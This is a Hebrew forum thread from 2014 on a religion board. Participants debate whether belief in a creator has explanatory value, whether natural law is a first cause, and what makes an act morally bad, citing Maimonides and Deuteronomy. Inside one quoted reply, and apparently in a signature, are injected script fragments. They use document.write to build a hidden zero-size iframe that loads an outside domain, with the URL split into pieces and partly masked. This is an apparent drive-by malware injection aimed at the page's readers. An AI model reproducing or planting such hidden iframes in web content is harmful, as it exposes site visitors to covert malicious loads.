בית פורומים עצור כאן חושבים

סיבה ראשונה

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-3/9/2014 12:19 לינק ישיר 

"גם מיכי טוען שלטענה "יש בורא" יש ערך כתיאוריה מדעית מבחינה זו שהאמירה הזו מוסיפה הסבר."



גם שלומקה טוען שלטענה "יש איטריה מעופפת " יש ערך כתאוריה מדעית מבחינה זו שהאמירה הזאת מוסיפה הסבר.

מה ההבדל בין הטענה של מיכי לטענה של שלומקה?



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/9/2014 13:54 לינק ישיר 

אפרים

כלך לך אצל האשכול שבו הוצגה שיטתו של מיכי. אני סבור שהטיעון שלו מוצלח, אם כי אינו מוכיח מציאות אלוקים שנתן תורה ובחר בעם ישראל. אבל למה לגנוב את האשכול הזה לינוח, בעליו? נסכם שאתה סבור שתיאורית האיטריות המעופפות היא בעלת ערך מדעי לא פחות מאשר הטענה שיש בורא במובן של השימוש הרווח במילה "אלוקים" ואני סבור לא כמוך. השאר שייך לשם.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/9/2014 00:59 לינק ישיר 

מיימוני כתב:
 הנושא נראה לי מעניין מאד, 

< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


תודה.
חשוב לי מאוד שתמשיך בדיון.

***הסיבה הזו יכולה להיות רק הבורא.***
הגישה שלי אינה "יש מאין", לכן לא מדובר כאן על "בורא יש מאין". אגב, זוהי הגישה בה נוקט הרמב"ם כאשר מוכיח את קיום הא-ל,
"ולפיכך תמצא שאני תמיד בכל מה שחברתי בספרי ההלכות, אם נזדמן לי הזכרת יסודות, אז אעסוק בקיום מציאות ה', הריני מקיימו בדברים הנוטים לצד הקדמוּת..." (מו"נ א, עא)
"אם יסבור אדם את הקדמוּת לפי ההשקפה השניה אשר ביארנו והיא השקפת אפלטון, והיא שגם השמים הווה נפסדות, הרי אין אותה ההשקפה סותרת יסודות הדת..." (מו"נ ב, כה)

חשוב לי, מיימוני, שהציטוט הזה מאת בן מימון, יהיה זכור לשותפי הדיון כול הדרך בכול רגע יום ולילה.

הא-ל הוא חוק, ואין לחוק סיבה כי הוא הסיבה לכל, ראשון לא בנקודת הזמן אלא כול הזמן.
בוא נא נמשיך לקרת קונסנסוס מסוים.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/9/2014 21:08 לינק ישיר 

שלום חברים, כמה נקודות להמשך הדיון:

מיימוני, מיכי אכן טען שלטענה בדבר מציאות הבורא יש כח הסברי. עם זאת הוא הגדיר אותה לדעתי כטענה פילוסופית, לא מדעית.

ינוח, האם אתה מזהה בחוק(י) הטבע יסוד מוסרי או ערכי? האם חוקי הטבע הם טובים?

האם אתה חושב על החוק כבעל רצון ותודעה?

ומה היית משיב על השאלה: מדוע קיים חוק זה דווקא, ולא חוק אחר?



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/9/2014 00:20 לינק ישיר 

רם28 כתב:
 האם אתה מזהה בחוק(י) הטבע יסוד מוסרי או ערכי? האם חוקי הטבע הם טובים?


קודם כול, שאלת המוסר היא באמת קודמת לכול שאלות אחרות, לדעתי.
האדם בנוי לפי חוקי הטבע. והבינוי הזה מאפשר ומעניק לאדם את החוק הערכי הבסיסי, "לְיִשְׁרֵי-לֵב שִׂמְחָה". כלומר, ישרת לבב מביאה לאדם שמחת אמת ורק היא מביאה. ואין לאדם אושר גדול משמחת אמת. רק בשביל זה שווה לחיות, בשביל לנסות, כמה יצליח, לקיים את החוק הבסיסי.
כול חוקי המוסר הם תולדה לחוק הבסיסי, וראויים רק אם הם באמת תולדתו.
יושר לב הוא דרך ארץ אשר באמת קדמה לתורה. ותורה ראויה כי היא באמת תולדתו.

***האם אתה חושב על החוק כבעל רצון ותודעה?***
רצון ותודעה הם תכונה לגשמי, וחוק אינו גשמי.

***ומה היית משיב על השאלה: מדוע קיים חוק זה דווקא, ולא חוק אחר?***
אם מסכימים כי חוק הוא סיבה ראשונה, אז אין לו סיבה, כלומר "מדוע" בשבילו לא רלוונטי. משהו כך.
מספיק כי הוא מאפשר שמחת אמת, אז לא צריך אחר.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/9/2014 17:12 לינק ישיר 

"האדם בנוי לפי חוקי הטבע. והבינוי הזה מאפשר ומעניק לאדם את החוק הערכי הבסיסי, "לְיִשְׁרֵי-לֵב שִׂמְחָה". כלומר, ישרת לבב מביאה לאדם שמחת אמת ורק היא מביאה. ואין לאדם אושר גדול משמחת אמת. רק בשביל זה שווה לחיות, בשביל לנסות, כמה יצליח, לקיים את החוק הבסיסי."

מה כוונתך שהאדם בנוי לפי חוקי הטבע?תן דוגמה.

מי קבע של"ישרי לב שמחה" זה החוק הבסיסי?אולי החוק הבסיסי הוא:  "צדיק באמונתו יחיה"  ? או כל ביטוי אחר ?



דדווח על תוכן פוגעני

מחובר
נשלח ב-7/9/2014 01:11 לינק ישיר 

אפריםבן כתב:
מה כוונתך שהאדם בנוי לפי חוקי הטבע?תן דוגמה.

כל דבר באדם פועל על פי חוקי טבע, גם מוח עם נויירונים שלו, גם רגל עם שרירים שלו, גם חיבור עצבי ביניהם. אם יש ספק, תאמר מה בבן אדם אינו על פי חוקי הטבע?

***אולי החוק הבסיסי הוא: "צדיק באמונתו יחיה" ?***
שאלה טובה. ומה הוא צדיק אשר לא דובר אמת בלבבו? הרי יחס הפוך, כמה שמשקר בנפשו, ככה הוא לא צדיק אלא עקום עם אמונתו עקומה.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-7/9/2014 20:54 לינק ישיר 

״ישרת לבב מביאה לאדם שמחת אמת ורק היא מביאה״

מניין לך?

״כול חוקי המוסר הם תולדה לחוק הבסיסי [ישרת לבב]״

מניין לך?

האם אתה חושב שאנשים רעים, שפוגעים באנשים אחרים, אינם ישרי לבב? על סמך מה?

האם החוק הבסיסי של המוסר אינו ״מה ששנוא עליך אל תעשה לחברך״, או משהו ברוח זו?

״כל דבר באדם פועל על פי חוקי טבע״

אם כן המעשים הטובים קורים על פי חוקי הטבע, וגם המעשים הרעים קורים על פי חוקי הטבע. למה לקשור את חוקי הטבע דווקא למעשים הטובים?




דדווח על תוכן פוגעני

מנותק
נשלח ב-8/9/2014 00:28 לינק ישיר 

רם28 כתב:

האם אתה חושב שאנשים רעים, שפוגעים באנשים אחרים, אינם ישרי לבב?


מניין לך שרעים, מי הוא רע?
תענה ואז נקבל תשובות לשאר השאלות, נמצא את הבסיס.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-9/9/2014 15:23 לינק ישיר 

להבנתי מעשה רע, במובן המוסרי, הוא מעשה של פגיעה בזולת (או בעצמך) במזיד או מרשלנות.

יש להוסיף הרבה פרטים וסייגים, אבל זה נראה לי הכלל.



דדווח על תוכן פוגעני

מנותק
נשלח ב-11/9/2014 00:20 לינק ישיר 

רם28 כתב:
 מעשה רע, במובן המוסרי, הוא מעשה של פגיעה בזולת (או בעצמך) במזיד או מרשלנות.


במלחמה, למשל, פוגעים בזולת, במלחמת מצווה, למשל. כלומר התשובה לא מספקת.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-11/9/2014 12:12 לינק ישיר 

ינוח
הפגיעה בזולת בכל מצב הוא מעשה רעה. מלחמה ומלחמת מצווה הוצאה להורג. הוא מעשה רעה. האידולוגיה והמצווה משמשים אליבי  עצמי למעשה הרעה שהאדם עושה.

התורה כשמצווה עלינו להרוג את כל אנשי העיר הנדחת

דברים פרק יג


(טז) הַכֵּה תַכֶּה אֶת יֹשְׁבֵי הָעִיר הַהִוא לְפִי חָרֶב הַחֲרֵם אֹתָהּ וְאֶת כָּל אֲשֶׁר בָּהּ וְאֶת בְּהֶמְתָּהּ לְפִי חָרֶב:
(יז) וְאֶת כָּל שְׁלָלָהּ תִּקְבֹּץ אֶל תּוֹךְ רְחֹבָהּ וְשָׂרַפְתָּ בָאֵשׁ אֶת הָעִיר וְאֶת כָּל שְׁלָלָהּ כָּלִיל לַיקֹוָק אֱלֹהֶיךָ וְהָיְתָה תֵּל עוֹלָם לֹא תִבָּנֶה עוֹד:
(יח) וְלֹא יִדְבַּק בְּיָדְךָ מְאוּמָה מִן הַחֵרֶם לְמַעַן יָשׁוּב יְקֹוָק מֵחֲרוֹן אַפּוֹ וְנָתַן לְךָ רַחֲמִים וְרִחַמְךָ וְהִרְבֶּךָ כַּאֲשֶׁר נִשְׁבַּע לַאֲבֹתֶיךָ:

מקפידה התורה להבטיח לך שתחזור להיות אדם רחמן כפי שצריך להיות ולא תהיה רגיל לפגוע באחרים.

דברים פרק כ

יג) וּנְתָנָהּ יְקֹוָק אֱלֹהֶיךָ בְּיָדֶךָ וְהִכִּיתָ אֶת כָּל זְכוּרָהּ לְפִי חָרֶב:
(יד) רַק הַנָּשִׁים וְהַטַּף וְהַבְּהֵמָה וְכֹל אֲשֶׁר יִהְיֶה בָעִיר כָּל שְׁלָלָהּ תָּבֹז לָךְ וְאָכַלְתָּ אֶת שְׁלַל אֹיְבֶיךָ אֲשֶׁר נָתַן יְקֹוָק אֱלֹהֶיךָ לָךְ:
(טו) כֵּן תַּעֲשֶׂה לְכָל הֶעָרִים הָרְחֹקֹת מִמְּךָ מְאֹד אֲשֶׁר לֹא מֵעָרֵי הַגּוֹיִם הָאֵלֶּה הֵנָּה:
(טז) רַק מֵעָרֵי הָעַמִּים הָאֵלֶּה אֲשֶׁר יְקֹוָק אֱלֹהֶיךָ נֹתֵן לְךָ נַחֲלָה לֹא תְחַיֶּה כָּל נְשָׁמָה:
(יז) כִּי הַחֲרֵם תַּחֲרִימֵם הַחִתִּי וְהָאֱמֹרִי הַכְּנַעֲנִי וְהַפְּרִזִּי הַחִוִּי וְהַיְבוּסִי כַּאֲשֶׁר צִוְּךָ יְקֹוָק אֱלֹהֶיךָ
ומיד אחר כך בפרק אחריו, מקפידה התורה ללמד אותך

דברים פרק כא

(א) כִּי יִמָּצֵא חָלָל בָּאֲדָמָה אֲשֶׁר יְקֹוָק אֱלֹהֶיךָ נֹתֵן לְךָ לְרִשְׁתָּהּ נֹפֵל בַּשָּׂדֶה לֹא נוֹדַע מִי הִכָּהוּ:
(ב) וְיָצְאוּ זְקֵנֶיךָ וְשֹׁפְטֶיךָ וּמָדְדוּ אֶל הֶעָרִים אֲשֶׁר סְבִיבֹת הֶחָלָל:


למרות שציוו אותך קודם על ההרג הטוטאלי- אתה חייב לשמור על כבוד האדם, אפילו על חלל אחד,
חלל סתם- אתה אפילו לא יודע אם הוא יהודי או גוי, יש לחקור בפני כבוד האדם הנברא בצלם.



דדווח על תוכן פוגעני

מנותק
נשלח ב-11/9/2014 21:07 לינק ישיר 

*במלחמה, למשל, פוגעים בזולת, במלחמת מצווה, למשל. כלומר התשובה לא מספקת*

כבר ציינתי שמה שכתבתי בהודעה הקודמת זה מה שנראה לי הכלל. ושיש להוסיף לכלל פרטים וסייגים שונים. אך לא נוכל להגיע כאן לפירוט מלא, ולכן אין טעם לדרוש פירוט כזה. בא נתקדם.

בעניין סייגים, סייג אחד הוא במצבים של הגנה עצמית. אדם רשאי לפגוע באחר אם זה מה שנחוץ כדי להימנע מלהיפגע בעצמו בידי האחר.

סייג אחר הוא במצבים של ענישה. מותר לשלטון לפגוע באדם (לקנוס אותו, לכלוא אותו) במסגרת עונש על עברה.

בשני המקרים הפגיעה באחר אמורה להיות מידתית, וזה נושא רחב בפני עצמו.



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/9/2014 03:06 לינק ישיר 

ירוחםשמ כתב:

הפגיעה בזולת בכל מצב הוא מעשה רעה.

את הבא להורגך הלא השכם להורגו?

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-12/9/2014 04:07 לינק ישיר 

רם28 כתב:
אדם רשאי לפגוע באחר אם זה מה שנחוץ כדי להימנע מלהיפגע בעצמו בידי האחר.


"הִנֵּה, עַם בְּנֵי יִשְׂרָאֵלרַב וְעָצוּם, מִמֶּנּוּ. הָבָה נִתְחַכְּמָה, לוֹ: פֶּן-יִרְבֶּה, וְהָיָה כִּי-תִקְרֶאנָה מִלְחָמָה וְנוֹסַף גַּם-הוּא עַל-שֹׂנְאֵינוּ, וְנִלְחַם-בָּנוּ"
הפגיעה שלו הייתה "מידתית" כדי להיות רוב.. גירוש היהודים מספרד היה גם משיקולי הגנה על זהות תרבותית.
מי שפוגע, תמיד מוצא "סייגים".

כלומר, הכלל הזה לא מספק ככלל, ולא עניין כאן סייגים.
אמור להיות כלל המנחה יותר אמיתי.
מה המנחה הוא במלחמת מצווה?
אם האדם לא פוגע באחרים ובעצמו, זה אומר לא עושה רע? עובד אלילים יכול לא לפגוע, אז הוא לא עושה רע?

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > סיבה ראשונה
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 5 6 לדף הבא סך הכל 6 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.